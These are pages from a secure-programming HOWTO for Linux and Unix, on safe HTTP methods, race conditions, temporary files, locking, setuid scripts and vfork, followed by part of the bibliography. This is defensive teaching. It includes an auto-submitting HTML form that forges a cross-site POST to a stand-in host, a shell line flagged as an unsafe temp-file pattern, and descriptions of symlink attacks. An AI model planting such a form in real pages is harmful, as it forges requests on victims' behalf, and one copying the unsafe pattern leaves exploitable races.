Different Unix-like systems handle auditing differently. In Linux, the most common ``audit'' mechanism is syslogd(8), usually working in conjunction with klogd(8). You might also want to look at wtmp(5), utmp(5), lastlog(8), and acct(2). Some server programs (such as the Apache web server) also have their own audit trail mechanisms. According to the FHS, audit logs should be stored in /var/log or its subdirectories.

Prev | Home | Next
Dynamically Linked Libraries | Up | PAM


Forbid HTTP GET To Perform Non-Queries

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.11. Forbid HTTP GET To Perform Non-Queries

Web-based applications using HTTP should prevent the use of the HTTP ``GET'' or ``HEAD'' method for anything other than queries. HTTP includes a number of different methods; the two most popular methods used are GET and POST. Both GET and POST can be used to transmit data from a form, but the GET method transmits data in the URL, while the POST method transmits data separately.

The security problem of using GET to perform non-queries (such as changing data, transferring money, or signing up for a service) is that an attacker can create a hypertext link with a URL that includes malicious form data. If the attacker convinces a victim to click on the link (in the case of a hypertext link), or even just view a page (in the case of transcluded information such as images from HTML's img tag), the victim will perform a GET. When the GET is performed, all of the form data created by the attacker will be sent by the victim to the link specified. This is a cross-site malicious content attack, as discussed further in Section 6.15.

If the only action that a malicious cross-site content attack can perform is to make the user view unexpected data, this isn't as serious a problem. This can still be a problem, of course, since there are some attacks that can be made using this capability. For example, there's a potential loss of privacy due to the user requesting something unexpected, possible real-world effects from appearing to request illegal or incriminating material, or by making the user request the information in certain ways the information may be exposed to an attacker in ways it normally wouldn't be exposed. However, even more serious effects can be caused if the malicious attacker can cause not just data viewing, but changes in data, through a cross-site link.

Typical HTTP interfaces (such as most CGI libraries) normally hide the differences between GET and POST, since for getting data it's useful to treat the methods ``the same way.'' However, for actions that actually cause something other than a data query, check to see if the request is something other than POST; if it is, simply display a filled-in form with the data given and ask the user to confirm that they really mean the request. This will prevent cross-site malicious content attacks, while still giving users the convenience of confirming the action with a single click.

Indeed, this behavior is strongly recommended by the HTTP specification. According to the HTTP 1.1 specification (IETF RFC 2616 section 9.1.1), ``the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.''

In the interest of fairness, I should note that this doesn't completely solve the problem, because on some browsers (in some configurations) scripted posts can do the same thing. For example, imagine a web browser with ECMAscript (Javascript) enabled receiving the following HTML snippet - on some browsers, simply displaying this HTML snippet will automatically force the user to send a POST request to a website chosen by the attacker, with form data defined by the attacker:
  <form action=http://remote/script.cgi method=post name=b>
    <input type=hidden name=action value="do something">
    <input type=submit>
  </form>
  <script>document.b.submit()</script>
My thanks to David deVitry pointing this out. However, although this advice doesn't solve all problems, it's still worth doing. In part, this is because the remaining problem can be solved by smarter web browsers (e.g., by always confirming the data before allowing ECMAscript to send a web form) or by web browser configuration (e.g., disabling ECMAscript). Also, this attack doesn't work in many cross-site scripting exploits, because many websites don't allow users to post ``script'' commands but do allow arbitrary URL links. Thus, limiting the actions a GET command can perform to queries significantly improves web application security.

Prev | Home | Next
Filter HTML/URIs That May Be Re-presented | Up | Counter SPAM


Avoid Race Conditions

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.10. Avoid Race Conditions

A ``race condition'' can be defined as ``Anomalous behavior due to unexpected critical dependence on the relative timing of events'' [FOLDOC]. Race conditions generally involve one or more processes accessing a shared resource (such a file or variable), where this multiple access has not been properly controlled.

In general, processes do not execute atomically; another process may interrupt it between essentially any two instructions. If a secure program's process is not prepared for these interruptions, another process may be able to interfere with the secure program's process. Any pair of operations in a secure program must still work correctly if arbitrary amounts of another process's code is executed between them.

Race condition problems can be notionally divided into two categories:

  • Interference caused by untrusted processes. Some security taxonomies call this problem a ``sequence'' or ``non-atomic'' condition. These are conditions caused by processes running other, different programs, which ``slip in'' other actions between steps of the secure program. These other programs might be invoked by an attacker specifically to cause the problem. This book will call these sequencing problems.

  • Interference caused by trusted processes (from the secure program's point of view). Some taxonomies call these deadlock, livelock, or locking failure conditions. These are conditions caused by processes running the ``same'' program. Since these different processes may have the ``same'' privileges, if not properly controlled they may be able to interfere with each other in a way other programs can't. Sometimes this kind of interference can be exploited. This book will call these locking problems.

6.10.1. Sequencing (Non-Atomic) Problems

In general, you must check your code for any pair of operations that might fail if arbitrary code is executed between them.

Note that loading and saving a shared variable are usually implemented as separate operations and are not atomic. This means that an ``increment variable'' operation is usually converted into loading, incrementing, and saving operation, so if the variable memory is shared the other process may interfere with the incrementing.

Secure programs must determine if a request should be granted, and if so, act on that request. There must be no way for an untrusted user to change anything used in this determination before the program acts on it. This kind of race condition is sometimes termed a ``time of check - time of use'' (TOCTOU) race condition.

6.10.1.1. Atomic Actions in the Filesystem

The problem of failing to perform atomic actions repeatedly comes up in the filesystem. In general, the filesystem is a shared resource used by many programs, and some programs may interfere with its use by other programs. Secure programs should generally avoid using access(2) to determine if a request should be granted, followed later by open(2), because users may be able to move files around between these calls, possibly creating symbolic links or files of their own choosing instead. A secure program should instead set its effective id or filesystem id, then make the open call directly. It's possible to use access(2) securely, but only when a user cannot affect the file or any directory along its path from the filesystem root.

When creating a file, you should open it using the modes O_CREAT | O_EXCL and grant only very narrow permissions (only to the current user); you'll also need to prepare for having the open fail. If you need to be able to open the file (e.g,. to prevent a denial-of-service), you'll need to repetitively (1) create a ``random'' filename, (2) open the file as noted, and (3) stop repeating when the open succeeds.

Ordinary programs can become security weaknesses if they don't create files properly. For example, the ``joe'' text editor had a weakness called the ``DEADJOE'' symlink vulnerability. When joe was exited in a nonstandard way (such as a system crash, closing an xterm, or a network connection going down), joe would unconditionally append its open buffers to the file "DEADJOE". This could be exploited by the creation of DEADJOE symlinks in directories where root would normally use joe. In this way, joe could be used to append garbage to potentially-sensitive files, resulting in a denial of service and/or unintentional access.

As another example, when performing a series of operations on a file's meta-information (such as changing its owner, stat-ing the file, or changing its permission bits), first open the file and then use the operations on open files. This means use the fchown( ), fstat( ), or fchmod( ) system calls, instead of the functions taking filenames such as chown(), chgrp(), and chmod(). Doing so will prevent the file from being replaced while your program is running (a possible race condition). For example, if you close a file and then use chmod() to change its permissions, an attacker may be able to move or remove the file between those two steps and create a symbolic link to another file (say /etc/passwd). Other interesting files include /dev/zero, which can provide an infinitely-long data stream of input to a program; if an attacker can ``switch'' the file midstream, the results can be dangerous.

But even this gets complicated - when creating files, you must give them as a minimal set of rights as possible, and then change the rights to be more expansive if you desire. Generally, this means you need to use umask and/or open's parameters to limit initial access to just the user and user group. For example, if you create a file that is initially world-readable, then try to turn off the ``world readable'' bit, an attacker could try to open the file while the permission bits said this was okay. On most Unix-like systems, permissions are only checked on open, so this would result in an attacker having more privileges than intended.

In general, if multiple users can write to a directory in a Unix-like system, you'd better have the ``sticky'' bit set on that directory, and sticky directories had better be implemented. It's much better to completely avoid the problem, however, and create directories that only a trusted special process can access (and then implement that carefully). The traditional Unix temporary directories (/tmp and /var/tmp) are usually implemented as ``sticky'' directories, and all sorts of security problems can still surface, as we'll see next.

6.10.1.2. Temporary Files

This issue of correctly performing atomic operations particularly comes up when creating temporary files. Temporary files in Unix-like systems are traditionally created in the /tmp or /var/tmp directories, which are shared by all users. A common trick by attackers is to create symbolic links in the temporary directory to some other file (e.g., /etc/passwd) while your secure program is running. The attacker's goal is to create a situation where the secure program determines that a given filename doesn't exist, the attacker then creates the symbolic link to another file, and then the secure program performs some operation (but now it actually opened an unintended file). Often important files can be clobbered or modified this way. There are many variations to this attack, such as creating normal files, all based on the idea that the attacker can create (or sometimes otherwise access) file system objects in the same directory used by the secure program for temporary files.

The general problem when creating files in these shared directories is that you must guarantee that the filename you plan to use doesn't already exist at time of creation. Checking ``before'' you create the file doesn't work, because after the check occurs, but before creation, another process can create that file with that filename. Using an ``unpredictable'' or ``unique'' filename doesn't work in general, because another process can often repeatedly guess until it succeeds.

Fundamentally, to create a temporary file in a shared (sticky) directory, you must repetitively: (1) create a ``random'' filename, (2) open it using O_CREAT | O_EXCL and very narrow permissions, and (3) stop repeating when the open succeeds.

According to the 1997 ``Single Unix Specification'', the preferred method for creating an arbitrary temporary file is tmpfile(3). The tmpfile(3) function creates a temporary file and opens a corresponding stream, returning that stream (or NULL if it didn't). Unfortunately, the specification doesn't make any guarantees that the file will be created securely. In earlier versions of this book, I stated that I was concerned because I could not assure myself that all implementations do this securely. I've since found that older System V systems have an insecure implementation of tmpfile(3) (as well as insecure implementations of tmpnam(3) and tempnam(3)). Library implementations of tmpfile(3) should securely create such files, of course, but users don't always realize that their system libraries have this security flaw, and sometimes they can't do anything about it.

Kris Kennaway recommends using mkstemp(3) for making temporary files in general. His rationale is that you should use well-known library functions to perform this task instead of rolling your own functions, and that this function has well-known semantics. This is certainly a reasonable position. I would add that, if you use mkstemp(3), be sure to use umask(2) to limit the resulting temporary file permissions to only the owner. This is because some implementations of mkstemp(3) (basically older ones) make such files readable and writable by all, creating a condition in which an attacker can read or write private data in this directory. A minor nuisance is that mkstemp(3) doesn't directly support the environment variables TMP or TMPDIR (as discussed below), so if you want to support them you have to add code to do so. Here's a program in C that demonstrates how to use mkstemp(3) for this purpose, both directly and when adding support for TMP and TMPDIR:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * Given a "pattern" for a temporary filename
 * (starting with the directory location and ending in XXXXXX),
 * create the file and return it.
 * This routines unlinks the file, so normally it won't appear in
 * a directory listing.
 * The pattern will be changed to show the final filename.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* Create file with restrictive permissions */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn't open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn't create temporary file's file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn't unlink temporary file");
 }
 return temp_file;
}

/*
 * Given a "tag" (a relative filename ending in XXXXXX),
 * create a temporary file using the tag.  The file will be created
 * in the directory specified in the environment variables
 * TMPDIR or TMP, if defined and we aren't setuid/setgid, otherwise
 * it will be created in /tmp.  Note that root (and su'd to root)
 * _will_ use TMPDIR or TMP, if defined.
 *
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}

main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you'll notice that there are no temporary files on exit.\n");
}

Kennaway also notes that if you can't use mkstemp(3), then make yourself a directory using mkdtemp(3), which is protected from the outside world. Finally, if you really have to use the insecure mktemp(3), use lots of X's - he suggests 10 (if your libc allows it) so that the filename can't easily be guessed (using only 6 X's means that 5 are taken up by the PID, leaving only one random character and allowing an attacker to mount an easy race condition). I add that you should avoid tmpnam(3) as well - some of its uses aren't reliable when threads are present, and it doesn't guarantee that it will work correctly after TMP_MAX uses (yet most practical uses must be inside a loop).

In general, you should avoid using the insecure functions such as mktemp(3) or tmpnam(3), unless you take specific measures to counter their insecurities or test for a secure library implementation as part of your installation routines. If you ever want to make a file in /tmp or a world-writable directory (or group-writable, if you don't trust the group) and don't want to use mk*temp() (e.g. you intend for the file to be predictably named), then always use the O_CREAT and O_EXCL flags to open() and check the return value. If you fail the open() call, then recover gracefully (e.g. exit).

The GNOME programming guidelines recommend the following C code when creating filesystem objects in shared (temporary) directories to security open temporary files [Quintero 2000]:
 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);
Note that, although the insecure function tempnam(3) is being used, it is wrapped inside a loop using O_CREAT and O_EXCL to counteract its security weaknesses. Note that you need to free() the filename. You should close() and unlink() the file after you are done. If you want to use the Standard C I/O library, you can use fdopen() with mode "w+b" to transform the file descriptor into a FILE *. Note that this approach won't work over NFS version 2 (v2) systems, because older NFS doesn't correctly support O_EXCL. Note that one minor disadvantage to this approach is that, since tempnam can be used insecurely, various compilers and security scanners may give you spurious warnings about its use. This isn't a problem with mkstemp(3).

If you need a temporary file in a shell script, you're probably best off using pipes, using a local directory (e.g., something inside the user's home directory), or in some cases using the current directory. That way, there's no sharing unless the user permits it. If you really want/need the temporary file to be in a shared directory like /tmp, do not use the traditional shell technique of using the process id in a template and just creating the file using normal operations like ">". Shell scripts can use "$$" to indicate the PID, but the PID can be easily determined or guessed by an attacker, who can then pre-create files or links with the same name. Thus the following "typical" shell script is unsafe:
   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.

If you need a temporary file or directory in a shell script, and you want it in /tmp, the solution is probably mktemp(1), which is intended for use in shell scripts. Note that mktemp(1) and mktemp(3) are different things - it's mktemp(1) that is safe. To be honest, I'm not enamored of shell scripts creating temporary files in shared directories; creating such files in private directories or using pipes instead is generally preferable. However, if you really need it, use it; mktemp(1) takes a template, then creates a file or directory using O_EXCL and returns the resulting name; since it uses O_EXCL, it's safe on shared directories like /tmp (unless the directory uses NFS version 2). Here are some examples of correct use of mktemp(1) in Bourne shell scripts; these examples are straight from the mktemp(1) man page:
 # Simple use of mktemp(1), where the script should quit
 # if it can't get a safe temporary file:

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # Simple example, if you want to catch the error:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can't create temp file, exiting..."
      exit 1
   fi

Don't reuse a temporary filename (i.e. remove and recreate it), no matter how you obtained the ``secure'' temporary filename in the first place. An attacker can observe the original filename and hijack it before you recreate it the second time. And of course, always use appropriate file permissions. For example, only allow world/group access if you need the world or a group to access the file, otherwise keep it mode 0600 (i.e., only the owner can read or write it).

Clean up after yourself, either by using an exit handler, or making use of UNIX filesystem semantics and unlink()ing the file immediately after creation so the directory entry goes away but the file itself remains accessible until the last file descriptor pointing to it is closed. You can then continue to access it within your program by passing around the file descriptor. Unlinking the file has a lot of advantages for code maintenance: the file is automatically deleted, no matter how your program crashes. The one minor problem with immediate unlinking is that it makes it slightly harder for administrators to see how disk space is being used, since they can't simply look at the file system by name.

You might consider ensuring that your code for Unix-like systems respects the environment variables TMP or TMPDIR if the provider of these variable values is trusted. By doing so, you make it possible for users to move their temporary files into an unshared directory (and eliminating the problems discussed here), such as a subdirectory inside their home directory. Recent versions of Bastille can set these variables to reduce the sharing between users. Unfortunately, many users set TMP or TMPDIR to a shared directory (say /tmp), so your secure program must still correctly create temporary files even if these environment variables are set. This is one advantage of the GNOME approach, since at least on some systems tempnam(3) automatically uses TMPDIR, while the mkstemp(3) approach requires more code to do this. Please don't create yet more environment variables for temporary directories (such as TEMP), and in particular don't create a different environment name for each application (e.g., don't use "MYAPP_TEMP"). Doing so greatly complicates managing systems, and users wanting a special temporary directory for a specific application can just set the environment variable specially when running that particular application. Of course, if these environment variables might have been set by an untrusted source, you should ignore them - which you'll do anyway if you follow the advice in Section 4.2.3.

These techniques don't work if the temporary directory is remotely mounted using NFS version 2 (NFSv2), because NFSv2 doesn't properly support O_EXCL. See Section 6.10.2.1 for more information. NFS version 3 and later properly support O_EXCL; the simple solution is to ensure that temporary directories are either local or, if mounted using NFS, mounted using NFS version 3 or later. There is a technique for safely creating temporary files on NFS v2, involving the use of link(2) and stat(2), but it's complex; see Section 6.10.2.1 which has more information about this.

As an aside, it's worth noting that FreeBSD has recently changed the mk*temp() family to get rid of the PID component of the filename and replace the entire thing with base-62 encoded randomness. This drastically raises the number of possible temporary files for the "default" usage of 6 X's, meaning that even mktemp(3) with 6 X's is reasonably (probabilistically) secure against guessing, except under very frequent usage. However, if you also follow the guidance here, you'll eliminate the problem they're addressing.

Much of this information on temporary files was derived from Kris Kennaway's posting to Bugtraq about temporary files on December 15, 2000.

6.10.2. Locking

There are often situations in which a program must ensure that it has exclusive rights to something (e.g., a file, a device, and/or existence of a particular server process). Any system which locks resources must deal with the standard problems of locks, namely, deadlocks (``deadly embraces''), livelocks, and releasing ``stuck'' locks if a program doesn't clean up its locks. A deadlock can occur if programs are stuck waiting for each other to release resources. For example, a deadlock would occur if process 1 locks resources A and waits for resource B, while process 2 locks resource B and waits for resource A. Many deadlocks can be prevented by simply requiring all processes that lock multiple resources to lock them in the same order (e.g., alphabetically by lock name).

6.10.2.1. Using Files as Locks

On Unix-like systems resource locking has traditionally been done by creating a file to indicate a lock, because this is very portable. It also makes it easy to ``fix'' stuck locks, because an administrator can just look at the filesystem to see what locks have been set. Stuck locks can occur because the program failed to clean up after itself (e.g., it crashed or malfunctioned) or because the whole system crashed. Note that these are ``advisory'' (not ``mandatory'') locks - all processes needed the resource must cooperate to use these locks.

However, there are several traps to avoid. First, don't use the technique used by very old Unix C programs, which is calling creat() or its open() equivalent, the open() mode O_WRONLY | O_CREAT | O_TRUNC, with the file mode set to 0 (no permissions). For normal users on normal file systems, this works, but this approach fails to lock the file when the user has root privileges. Root can always perform this operation, even when the file already exists. In fact, old versions of Unix had this particular problem in the old editor ``ed'' -- the symptom was that occasionally portions of the password file would be placed in user's files [Rochkind 1985, 22]! Instead, if you're creating a lock for processes that are on the local filesystem, you should use open() with the flags O_WRONLY | O_CREAT | O_EXCL (and again, no permissions, so that other processes with the same owner won't get the lock). Note the use of O_EXCL, which is the official way to create ``exclusive'' files; this even works for root on a local filesystem. [Rochkind 1985, 27].

Second, if the lock file may be on an NFS-mounted filesystem, then you have the problem that NFS version 2 doesn't completely support normal file semantics. This can even be a problem for work that's supposed to be ``local'' to a client, since some clients don't have local disks and may have all files remotely mounted via NFS. The manual for open(2) explains how to handle things in this case (which also handles the case of root programs):

"... programs which rely on [the O_CREAT and O_EXCL flags of open(2)] for performing locking tasks will contain a race condition. The solution for performing atomic file locking using a lockfile is to create a unique file on the same filesystem (e.g., incorporating hostname and pid), use link(2) to make a link to the lockfile and use stat(2) on the unique file to check if its link count has increased to 2. Do not use the return value of the link(2) call."

Obviously, this solution only works if all programs doing the locking are cooperating, and if all non-cooperating programs aren't allowed to interfere. In particular, the directories you're using for file locking must not have permissive file permissions for creating and removing files.

NFS version 3 added support for O_EXCL mode in open(2); see IETF RFC 1813, in particular the "EXCLUSIVE" value to the "mode" argument of "CREATE". Sadly, not everyone has switched to NFS version 3 or higher at the time of this writing, so you you can't depend on this yet in portable programs. Still, in the long run there's hope that this issue will go away.

If you're locking a device or the existence of a process on a local machine, try to use standard conventions. I recommend using the Filesystem Hierarchy Standard (FHS); it is widely referenced by Linux systems, but it also tries to incorporate the ideas of other Unix-like systems. The FHS describes standard conventions for such locking files, including naming, placement, and standard contents of these files [FHS 1997]. If you just want to be sure that your server doesn't execute more than once on a given machine, you should usually create a process identifier as /var/run/NAME.pid with the pid as its contents. In a similar vein, you should place lock files for things like device lock files in /var/lock. This approach has the minor disadvantage of leaving files hanging around if the program suddenly halts, but it's standard practice and that problem is easily handled by other system tools.

It's important that the programs which are cooperating using files to represent the locks use the same directory, not just the same directory name. This is an issue with networked systems: the FHS explicitly notes that /var/run and /var/lock are unshareable, while /var/mail is shareable. Thus, if you want the lock to work on a single machine, but not interfere with other machines, use unshareable directories like /var/run (e.g., you want to permit each machine to run its own server). However, if you want all machines sharing files in a network to obey the lock, you need to use a directory that they're sharing; /var/mail is one such location. See FHS section 2 for more information on this subject.

6.10.2.2. Other Approaches to Locking

Of course, you need not use files to represent locks. Network servers often need not bother; the mere act of binding to a port acts as a kind of lock, since if there's an existing server bound to a given port, no other server will be able to bind to that port.

Another approach to locking is to use POSIX record locks, implemented through fcntl(2) as a ``discretionary lock''. These are discretionary, that is, using them requires the cooperation of the programs needing the locks (just as the approach to using files to represent locks does). There's a lot to recommend POSIX record locks: POSIX record locking is supported on nearly all Unix-like platforms (it's mandated by POSIX.1), it can lock portions of a file (not just a whole file), and it can handle the difference between read locks and write locks. Even more usefully, if a process dies, its locks are automatically removed, which is usually what is desired.

You can also use mandatory locks, which are based on System V's mandatory locking scheme. These only apply to files where the locked file's setgid bit is set, but the group execute bit is not set. Also, you must mount the filesystem to permit mandatory file locks. In this case, every read(2) and write(2) is checked for locking; while this is more thorough than advisory locks, it's also slower. Also, mandatory locks don't port as widely to other Unix-like systems (they're available on Linux and System V-based systems, but not necessarily on others). Note that processes with root privileges can be held up by a mandatory lock, too, making it possible that this could be the basis of a denial-of-service attack.

Prev | Home | Next
Fail Safe | Up | Trust Only Trustworthy Channels


Avoid Creating Setuid/Setgid Scripts

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.6. Avoid Creating Setuid/Setgid Scripts

Many Unix-like systems, in particular Linux, simply ignore the setuid and setgid bits on scripts to avoid the race condition described earlier. Since support for setuid scripts varies on Unix-like systems, they're best avoided in new applications where possible. As a special case, Perl includes a special setup to support setuid Perl scripts, so using setuid and setgid is acceptable in Perl if you truly need this kind of functionality. If you need to support this kind of functionality in your own interpreter, examine how Perl does this. Otherwise, a simple approach is to ``wrap'' the script with a small setuid/setgid executable that creates a safe environment (e.g., clears and sets environment variables) and then calls the script (using the script's full path). Make sure that the script cannot be changed by an attacker! Shell scripting languages have additional problems, and really should not be setuid/setgid; see Section 9.4 for more information about this.

Prev | Home | Next
Minimize the Functionality of a Component | Up | Configure Safely and Use Safe Defaults


Avoid Using vfork(2)

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.6. Avoid Using vfork(2)

The portable way to create new processes in Unix-like systems is to use the fork(2) call. BSD introduced a variant called vfork(2) as an optimization technique. In vfork(2), unlike fork(2), the child borrows the parent's memory and thread of control until a call to execve(2V) or an exit occurs; the parent process is suspended while the child is using its resources. The rationale is that in old BSD systems, fork(2) would actually cause memory to be copied while vfork(2) would not. Linux never had this problem; because Linux used copy-on-write semantics internally, Linux only copies pages when they changed (actually, there are still some tables that have to be copied; in most circumstances their overhead is not significant). Nevertheless, since some programs depend on vfork(2), recently Linux implemented the BSD vfork(2) semantics (previously vfork(2) had been an alias for fork(2)).

There are a number of problems with vfork(2). From a portability point-of-view, the problem with vfork(2) is that it's actually fairly tricky for a process to not interfere with its parent, especially in high-level languages. The ``not interfering'' requirement applies to the actual machine code generated, and many compilers generate hidden temporaries and other code structures that cause unintended interference. The result: programs using vfork(2) can easily fail when the code changes or even when compiler versions change.

For secure programs it gets worse on Linux systems, because Linux (at least 2.2 versions through 2.2.17) is vulnerable to a race condition in vfork()'s implementation. If a privileged process uses a vfork(2)/execve(2) pair in Linux to execute user commands, there's a race condition while the child process is already running as the user's UID, but hasn`t entered execve(2) yet. The user may be able to send signals, including SIGSTOP, to this process. Due to the semantics of vfork(2), the privileged parent process would then be blocked as well. As a result, an unprivileged process could cause the privileged process to halt, resulting in a denial-of-service of the privileged process' service. FreeBSD and OpenBSD, at least, have code to specifically deal with this case, so to my knowledge they are not vulnerable to this problem. My thanks to Solar Designer, who noted and documented this problem in Linux on the ``security-audit'' mailing list on October 7, 2000.

The bottom line with vfork(2) is simple: don't use vfork(2) in your programs. This shouldn't be difficult; the primary use of vfork(2) is to support old programs that needed vfork's semantics.

Prev | Home | Next
Check All System Call Returns | Up | Counter Web Bugs When Retrieving Embedded Content


Background

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 2. Background

I issued an order and a search was made, and it was found that this city has a long history of revolt against kings and has been a place of rebellion and sedition.
Ezra 4:19 (NIV)
Table of Contents
2.1. History of Unix, Linux, and Open Source / Free Software
2.1.1. Unix
2.1.2. Free Software Foundation
2.1.3. Linux
2.1.4. Open Source / Free Software
2.1.5. Comparing Linux and Unix
2.2. Security Principles
2.3. Why do Programmers Write Insecure Code?
2.4. Is Open Source Good for Security?
2.5. Types of Secure Programs
2.6. Paranoia is a Virtue
2.7. Why Did I Write This Document?
2.8. Sources of Design and Implementation Guidelines
2.9. Other Sources of Security Information
2.10. Document Conventions
Prev | Home | Next
Introduction |  | History of Unix, Linux, and Open Source / Free Software


Bibliography

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 12. Bibliography

The words of the wise are like goads, their collected sayings like firmly embedded nails--given by one Shepherd. Be warned, my son, of anything in addition to them. Of making many books there is no end, and much study wearies the body.
Ecclesiastes 12:11-12 (NIV)

Note that there is a heavy emphasis on technical articles available on the web, since this is where most of this kind of technical information is available.

[Advosys 2000] Advosys Consulting (formerly named Webber Technical Services). Writing Secure Web Applications. http://advosys.ca/tips/web-security.html

[Al-Herbish 1999] Al-Herbish, Thamer. 1999. Secure Unix Programming FAQ. http://www.whitefang.com/sup.

[Aleph1 1996] Aleph1. November 8, 1996. ``Smashing The Stack For Fun And Profit''. Phrack Magazine. Issue 49, Article 14. http://www.phrack.com/search.phtml?view&article=p49-14 or alternatively http://www.2600.net/phrack/p49-14.html.

[Anonymous 1999] Anonymous. October 1999. Maximum Linux Security: A Hacker's Guide to Protecting Your Linux Server and Workstation Sams. ISBN: 0672316706.

[Anonymous 1998] Anonymous. September 1998. Maximum Security : A Hacker's Guide to Protecting Your Internet Site and Network. Sams. Second Edition. ISBN: 0672313413.

[AUSCERT 1996] Australian Computer Emergency Response Team (AUSCERT) and O'Reilly. May 23, 1996 (rev 3C). A Lab Engineers Check List for Writing Secure Unix Code. ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist

[Bach 1986] Bach, Maurice J. 1986. The Design of the Unix Operating System. Englewood Cliffs, NJ: Prentice-Hall, Inc. ISBN 0-13-201799-7 025.

[Bellovin 1989] Bellovin, Steven M. April 1989. "Security Problems in the TCP/IP Protocol Suite" Computer Communications Review 2:19, pp. 32-48. http://www.research.att.com/~smb/papers/ipext.pdf

[Bellovin 1994] Bellovin, Steven M. December 1994. Shifting the Odds -- Writing (More) Secure Software. Murray Hill, NJ: AT&T Research. http://www.research.att.com/~smb/talks

[Bishop 1996] Bishop, Matt. May 1996. ``UNIX Security: Security in Programming''. SANS '96. Washington DC (May 1996). http://olympus.cs.ucdavis.edu/~bishop/secprog.html

[Bishop 1997] Bishop, Matt. October 1997. ``Writing Safe Privileged Programs''. Network Security 1997 New Orleans, LA. http://olympus.cs.ucdavis.edu/~bishop/secprog.html

[Blaze 1996] Blaze, Matt, Whitfield Diffie, Ronald L. Rivest, Bruce Schneier, Tsutomu Shimomura, Eric Thompson, and Michael Wiener. January 1996. ``Minimal Key Lengths for Symmetric Ciphers to Provide Adequate Commercial Security: A Report by an Ad Hoc Group of Cryptographers and Computer Scientists.'' ftp://ftp.research.att.com/dist/mab/keylength.txt and ftp://ftp.research.att.com/dist/mab/keylength.ps.

[CC 1999] The Common Criteria for Information Technology Security Evaluation (CC). August 1999. Version 2.1. Technically identical to International Standard ISO/IEC 15408:1999. http://csrc.nist.gov/cc/ccv20/ccv2list.htm

[CERT 1998] Computer Emergency Response Team (CERT) Coordination Center (CERT/CC). February 13, 1998. Sanitizing User-Supplied Data in CGI Scripts. CERT Advisory CA-97.25.CGI_metachar. http://www.cert.org/advisories/CA-97.25.CGI_metachar.html.

[Clowes 2001] Clowes, Shaun. 2001. ``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP'' http://www.securereality.com.au/archives.html

[CMU 1998] Carnegie Mellon University (CMU). February 13, 1998 Version 1.4. ``How To Remove Meta-characters From User-Supplied Data In CGI Scripts''. ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters.

[Cowan 1999] Cowan, Crispin, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole. ``Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade''. Proceedings of DARPA Information Survivability Conference and Expo (DISCEX), http://schafercorp-ballston.com/discex SANS 2000. http://www.sans.org/newlook/events/sans2000.htm. For a copy, see http://immunix.org/documentation.html.

[Cox 2000] Cox, Philip. March 30, 2001. Hardening Windows 2000. http://www.systemexperts.com/win2k/hardenW2K11.pdf.

[Dobbertin 1996]. Dobbertin, H. 1996. The Status of MD5 After a Recent Attack. RSA Laboratories' CryptoBytes. Vol. 2, No. 2.

[Felten 1997] Edward W. Felten, Dirk Balfanz, Drew Dean, and Dan S. Wallach. Web Spoofing: An Internet Con Game Technical Report 540-96 (revised Feb. 1997) Department of Computer Science, Princeton University http://www.cs.princeton.edu/sip/pub/spoofing.pdf

[Fenzi 1999] Fenzi, Kevin, and Dave Wrenski. April 25, 1999. Linux Security HOWTO. Version 1.0.2. http://www.linuxdoc.org/HOWTO/Security-HOWTO.html

[FHS 1997] Filesystem Hierarchy Standard (FHS 2.0). October 26, 1997. Filesystem Hierarchy Standard Group, edited by Daniel Quinlan. Version 2.0. http://www.pathname.com/fhs.

